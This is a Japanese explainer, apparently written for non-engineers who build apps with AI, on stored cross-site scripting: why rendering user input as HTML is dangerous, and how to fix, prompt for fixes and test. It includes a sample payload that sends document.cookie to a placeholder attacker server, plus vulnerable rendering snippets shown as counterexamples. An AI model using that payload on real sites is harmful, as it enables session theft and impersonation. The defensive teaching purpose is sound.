XSS — コメント欄に書いた1行が、開いた全員のブラウザで動く

XSS(クロスサイトスクリプティング)は、他人が書いた文字を画面に「HTMLとして」貼ると、その人のスクリプトが別の人のブラウザで動く穴。Cookieが盗まれ、なりすまされる。原因は dangerouslySetInnerHTML / v-html / innerHTML。直すのは「文字として表示する」書き方1つと HttpOnly。IPA届出の57%を占める一番多い穴の確かめ方まで。

動画で見る

結論から

XSS(クロスサイトスクリプティング)は、他人が書いた文字を、画面に「HTMLとして」貼ると、その人のスクリプトが別の人のブラウザで動いてしまう穴です。コメント欄、プロフィール名、レビュー、問い合わせの本文。ユーザーが入力できる場所なら、どこでも起きます。IPA への Web サイト脆弱性の届出は、累計で 57% が XSS(2025年第4四半期時点)。「一番多い穴」です。

この記事で伝えたいのは、この一点だけです。他人の文字は「文字」として表示する。「HTML」として貼らない。 React や Vue は普通に書けば文字として表示します。危ないのは dangerouslySetInnerHTML・innerHTML・v-html・Markdown の生描画のように、AIが「見た目を整えるため」に HTML として貼る場所です。

  • 何が起きるか:コメント欄に <script> を書かれると、そのコメントを開いた全員のブラウザでスクリプトが動く。ログイン状態(Cookie)が盗まれ、その人になりすまされる。管理者が開けば、管理者になりすまされる
  • なぜ:入力を「文字」ではなく「HTML」として画面に貼るコードが、入力の中の <script> や onerror= も HTML として解釈する
  • 直す:HTML として貼っている場所をすべて「文字」に戻す。どうしても HTML が要るなら sanitize(無害化)を通す。Cookie に HttpOnly を付け、盗まれても JavaScript から読めなくする
  • 確かめる:自分のコメント欄・プロフィール名に <img src=x onerror=alert(1)> を入れて保存する。ポップアップが出たら ✗

動画版(約2分半)は本文の上に埋め込んであります。

① 何が起きるのか:コメント欄に「スクリプト」を書く

例として、AIで作った予約アプリに「レビューを書く」機能があるとします。普通のレビューはこう表示されます。

とても良いお店でした!

では、レビュー欄にこう書いたら。

<img src=x onerror="fetch('https://攻撃者のサーバー/?c='+document.cookie)">

見た目は壊れた画像アイコンが1つ出るだけ。でも、このレビューを開いた人全員のブラウザで、onerror の中身が動きます。中身は「自分の Cookie を攻撃者のサーバーへ送る」。Cookie にはログイン状態が入っています。攻撃者はそれを自分のブラウザに貼るだけで、パスワードを知らずに、その人としてログインできます。

書いたのは1人。動くのは、開いた全員のブラウザ。これが XSS(正確には「格納型 XSS」)です。管理者がレビューの承認画面でこれを開けば、管理者の Cookie が盗まれます。

XSS:他人の文字をHTMLとして貼ると、開いた全員のブラウザで動く

② なぜ起きるのか:入力を「HTML」として貼っている

原因はコードの書き方1つです。

穴のない書き方(文字として表示する)

React:<p>{review.body}</p>

Vue:<p>{{ review.body }}</p>

こう書くと、<script> は「<script>」というただの文字として画面に出るだけで、動きません。React も Vue も、最初からこの動作です。

穴のある書き方(HTML として貼る)

React:<p dangerouslySetInnerHTML={{ __html: review.body }} />

Vue:<p v-html="review.body">

素の JavaScript:el.innerHTML = review.body

こう書くと、入力の中の <img onerror=…> が本物の HTML タグとして解釈され、動きます。

AIはどちらを書くか。 ほとんどの場合、前者です。危ないのは、「太字や改行を反映して」「Markdown で書けるようにして」「リッチテキストエディタを付けて」と頼んだときです。AIは見た目を整えるために、後者に切り替えます。Markdown を HTML に変換するライブラリも、設定によっては <script> をそのまま通します。「動く」ので、AIも気づきません。

これは古典的な穴ですが、無くなっていません。IPA の届出統計では、Web サイトの脆弱性の中で XSS は例年もっとも多く、累計 57% を占めます。2025年第4四半期に JVN iPedia に登録された脆弱性でも、種類別で XSS(CWE-79)が 1,215件で最多でした。

③ どう直すのか:AIに「文字として表示して」と頼む

以下をそのまま AI ツールに貼ってください。

「このプロジェクトで、ユーザーが入力した文字列を HTML として描画している箇所をすべて列挙してください(dangerouslySetInnerHTML、v-html、innerHTML、document.write、Markdown→HTML の変換、テンプレートのエスケープ無効化)。HTML である必要がない箇所は、すべて文字列として描画する形に直してください。HTML が必要な箇所は DOMPurify などの sanitize を通してから描画してください。あわせて、セッション Cookie に HttpOnly と Secure が付いているか確認し、付いていなければ付けてください。変更前後の一覧も出してください。」

ポイントは3つ。「すべて列挙」と言う(AIは頼まれた1か所しか見ない)。「HTML が必要か」を分ける(レビュー本文に HTML は要らない)。Cookie の `HttpOnly` を頼む(穴が残っても、Cookie は JavaScript から読めなくなる=2枚目の壁)。

さらに余裕があれば、CSP(Content-Security-Policy)という「このサイトで動かしていいスクリプトの出どころ」をブラウザに伝える設定があります。これは3枚目の壁で、エンジニアに頼む範囲です。

④ 直ったかを確かめる:<img src=x onerror=alert(1)>

  • 自分のアプリの、ユーザーが文字を入れられる場所すべて(コメント・レビュー・プロフィール名・問い合わせ・検索欄)に <img src=x onerror=alert(1)> を入れて保存し、表示されるページを開く
  • ポップアップ(1)が出たら ✗。「<img src=x onerror=alert(1)>」と文字のまま表示されれば ◯
  • 管理画面でも見る。一覧・承認画面・通知メールの本文。ユーザー画面で ◯ でも、管理画面が HTML で貼っていることがある
  • ブラウザの開発者ツール → Application → Cookies で、セッション Cookie の HttpOnly にチェックが入っているか見る
  • 分からなければ、AIに「入力欄に <img src=x onerror=alert(1)> を入れて保存し、描画時にスクリプトが実行されないことを確認するテストを書いて」

自分で直せないとき:エンジニアに送る一文

「レビュー欄に <img src=x onerror=alert(1)> を入れるとポップアップが出ます。ユーザー入力を HTML として描画している箇所を全部洗い出して、文字列描画か sanitize に直してください。セッション Cookie の HttpOnly も合わせて確認をお願いします。」

よくある質問

React を使っています。自動で守られると聞きました。

{} で書いている限りは守られます。dangerouslySetInnerHTML を使った瞬間に外れます。AIに「このプロジェクトに dangerouslySetInnerHTML や v-html はある?」と聞いて、無ければ次のチェックへ。あれば③のプロンプトを貼ってください。

`<` や `>` を入力禁止にすれば済みますか。

済みません。「A<B」のような普通の文が書けなくなりますし、URL や属性値の中など、< を使わずにスクリプトを動かす書き方もあります。入力を制限するのではなく、表示するときの扱いを直します。

SQLインジェクションと何が違うのですか。

構造は同じ「入力が命令になる」です。SQLインジェクションは入力がデータベースへの命令になる。XSS は入力が他人のブラウザへの命令になる。直し方も同じ発想で、「入力を命令の構造に混ぜない(文字として扱う)」です。

この穴が塞がれば、Cookie は安全ですか。

XSS 経由では盗まれにくくなります。ただ Cookie は、パソコンに入ったマルウェア(インフォスティーラー)にも盗まれます(→ セッションハイジャックの記事)。だから HttpOnly に加えて、セッションの有効期限を短くする・端末ごとにログアウトできる設計が効きます。